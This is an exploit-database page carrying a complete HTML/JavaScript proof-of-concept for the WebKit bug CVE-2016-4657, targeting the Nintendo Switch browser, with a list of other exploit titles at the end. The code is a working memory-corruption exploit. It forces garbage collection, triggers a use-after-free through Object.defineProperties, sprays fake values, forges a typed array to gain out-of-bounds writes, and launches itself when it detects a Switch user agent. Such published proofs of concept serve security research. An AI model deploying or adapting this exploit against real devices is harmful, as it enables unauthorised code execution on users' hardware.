nintendo switch webkit code execution (poc)

▸▸▸ Exploit & Vulnerability >> dos exploit & hardware vulnerability
Online Vulnerability Scanner Tools
Code...
				
<!doctype html>
<html>
    <head>
        <title>CVE-2016-4657 Switch PoC</title>
        <style>
            body {font-size: 2em;}
            a {text-decoration: none; color: #000;}
            a:hover {color: #f00; font-weight: bold;}
        </style>
    </head>
    <body>
        <h1>CVE-2016-4657 Nintendo Switch PoC</h1>
        <ul>
            <li><a href=\'javascript:go();\'> go!</a></li>
            <li><a href=\'javascript:document.location.reload();\'> reload</a></li>
        </ul>
        <div id=\'status\'> waiting... click go.</div>

            <script>
                // display JS errors as alerts. Helps debugging.
                window.onerror = function(error, url, line) {
                    alert(error+\' URL:\'+url+\' L:\'+line);
                };
            </script>
            <script>

                // based on jbme.qwertyoruiop.com
                // Thanks to:
                //  + qwertyoruiop
                //  + Retr0id
                //  + Ando
                //
                // saelo\'s phrack article is invaluable: http://www.phrack.org/papers/attacking_javascript_engines.html

                // garbage collection stuff
                var pressure = new Array(100);
                // do garbage collect
                dgc = function() {
                    for (var i = 0; i < pressure.length; i++) {
                        pressure[i] = new Uint32Array(0x10000);
                    }
                    for (var i = 0; i < pressure.length; i++) {
                        pressure[i] = 0;
                    }
                }


                // access to the overlapping Uint32Array
                var bufs = new Array(0x1000);
                // we will modify the vector of this
                var smash = new Uint32Array(0x10);
                // the array with the stale pointer
                var stale = 0;

                var _dview = null;
                // write 2x 32bit in a DataView and get the Float representation of it
                function u2d(low, hi) {
                    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
                    _dview.setUint32(0, hi);
                    _dview.setUint32(4, low);
                    return _dview.getFloat64(0);
                }

                function go_() {
                    // check if the length of the array smash changed already. if yes, bail out.
                    if (smash.length != 0x10) return;

                    // garbage collect
                    dgc();

                    // new array with 0x100 elements
                    var arr = new Array(0x100);

                    // new array buffer of length 0x1000
                    var yolo = new ArrayBuffer(0x1000);

                    // populate the arr with pointer to yolo and a number. not quite sure why.
                    arr[0] = yolo;
                    arr[1] = 0x13371337;

                    // create an object whos toString function returns number 10 and messes with arr.
                    var not_number = {};
                    not_number.toString = function() {
                        arr = null;
                        props[\"stale\"][\"value\"] = null;

                        // if bufs is already overlapping memory, bail out.
                        if (bufs[0]) return 10;
                        // really make sure garbage is collected
                        // the array pointed at by arr should be gone now.
                        for (var i = 0; i < 20; i++) {
                            dgc();
                        }
                        // for the whole buf Array
                        for (i = 0; i < bufs.length; i++) {
                            // fill it with a lot of Uint32Arrays, hopefully allocated where arr was earlier
                            bufs[i] = new Uint32Array(0x100 * 2)
                            // for each element of that array
                            for (k = 0; k < bufs[i].length;) {
                                // set memory to 0x41414141 0xffff0000
                                // basically spraying the JSValue 0xffff000041414141
                                // which is the Integer 0x41414141
                                // phrack: Integer FFFF:0000:IIII:IIII
                                bufs[i][k++] = 0x41414141;
                                bufs[i][k++] = 0xffff0000;
                            }
                        }
                        return 10;
                    };
                    // define a new object with some properties
                    var props = {
                        p0: { value: 0 },
                        p1: { value: 1 },
                        p2: { value: 2 },
                        p3: { value: 3 },
                        p4: { value: 4 },
                        p5: { value: 5 },
                        p6: { value: 6 },
                        p7: { value: 7 },
                        p8: { value: 8 },
                        // the length of this object is set to this object that does evil stuff with toString()
                        length: { value: not_number },
                        // the reference to the arr array. Which will later be freed.
                        stale: { value: arr },
                        after: { value: 666 }
                    };
                    // define a new target array
                    var target = [];

                    // TRIGGER BUG!
                    // set the properties of the target based on the previously defined ones
                    Object.defineProperties(target, props);

                    // get a reference to the target stale property, which points to arr
                    stale = target.stale;

                    // make sure that the stale[0] points actually to the 0x41414141 data if not, we don\'t wanna mess with it and try again
                    if(stale[0]==0x41414141) {
                        // stale[0] is now pointing at a fake Integer 0x41414141. Now make it 0x41414242
                        stale[0] += 0x101;
                        //stale[0] = 0x41414242;
                        //document.getElementById(\'status\').innerText = \'bug done.\';
                        // searching the whole memory that is overlaying the old arr. Looking for 0x41414242
                        for (i = 0; i < bufs.length; i++) {
                            for (k = 0; k < bufs[0].length; k++) {
                                // Found the value! bufs[i][k] point now at the same memory as stale[0]
                                if (bufs[i][k] == 0x41414242) {
                                    alert(\'Overlapping Arrays found at bufs[\'+i+\'][\'+k+\']\\nsmash.length is still: 0x\'+smash.length.toString(16));

                                    // create a new object. Will look kinda like this:
                                    // 0x0100150000000136 0x0000000000000000 <- fictional value
                                    // 0x0000000000000064 0x0000000000000000 <- [\'a\'],[\'b\']
                                    // 0x???????????????? 0x0000000000000100 <- [\'c\'],[\'d\']
                                    stale[0] = {
                                        \'a\': u2d(105, 0), // the JSObject properties ; 105 is the Structure ID of Uint32Array
                                        \'b\': u2d(0, 0),
                                        \'c\': smash, // var pointing at the struct of a Uint32Array(0x10)
                                        \'d\': u2d(0x100, 0)
                                    }

                                    alert(\'created the JSObject.\\nstale[0] = \'+stale[0]);

                                    // remember the original stale pointer, pointing at the object with the a,b,c,d properties
                                    stale[1] = stale[0];

                                    // now add 0x10 to the pointer of stale[0], which points now in the middle of the object.
                                    bufs[i][k] += 0x10;
                                    // check the type of stale[0].

                                    // removed the loop because it makes the exploit sooooooo unreliable
                                    // based on phrack paper - Predicting structure IDs (http://www.phrack.org/papers/attacking_javascript_engines.html)
                                    /*while(!(stale[0] instanceof Uint32Array)) {
                                        // if stale[0] is not a Uint32Array yet, increment the structureID guess
                                        structureID++;

                                        // assign the next structureID to the original object still referenced by stale[1]
                                        stale[1][\'a\'] = u2d(structureID, 0);
                                    }*/

                                    // Give some information. stale[0] should now be a Uint32Array
                                    alert(\'misaligned the pointer to the JSObject.\\nstale[0] = \'+stale[0]+\'\');

                                    // write to the 6th 32bit value of the memory pointed to by the crafted Uint32Array
                                    // which should point to the struct of smash, allowing us to overwrite the length of smash
                                    stale[0][6] = 0x1337;

                                    // check the length of smash is now.
                                    alert(\'smash.length is now: 0x\'+smash.length.toString(16));

                                    alert(\'done!\\nswitch will probably crash now :O\');
                                    return;
                                }
                            }
                        }
                    }
                    document.getElementById(\'status\').innerText = \' fail. refresh the page and try again...\';
                    setTimeout(function() {document.location.reload();}, 1000);
                }

                function go() {
                    document.getElementById(\'status\').innerText = \' go! \';
                    dgc();
                    dgc();
                    dgc();
                    dgc();
                    dgc();
                    dgc();
                    setTimeout(go_, 500);
                }

                // if Switch browser is detected, auto start exploit
                if(navigator.userAgent.indexOf(\'Nintendo Switch\')>-1) {
                    document.getElementById(\'status\').innerText = \'Found Nintendo Switch! \';
                    setTimeout(go, 2000);
                }
            </script>
    </body>
</html>
Nintendo switch webkit code execution (poc) Vulnerability / Exploit Source : Nintendo switch webkit code execution (poc)
Last Vulnerability or Exploits
▸ gitlab 14.9 - stored cross-site scripting (xss) ◂

Discovered: 2022-04-26
Exploit: webapps
Vulnerability: ruby
▸ gitlab 14.9 - authentication bypass ◂

Discovered: 2022-04-26
Exploit: webapps
Vulnerability: ruby
▸ easeus data recovery - 'ensserver.exe' unquoted service path ◂

Discovered: 2022-04-19
Exploit: local
Vulnerability: windows
▸ ptpublisher v2.3.4 - unquoted service path ◂

Discovered: 2022-04-19
Exploit: local
Vulnerability: windows
nintendo switch webkit code execution (poc)

Developers

Business Owners

Penetration Testers

Everybody
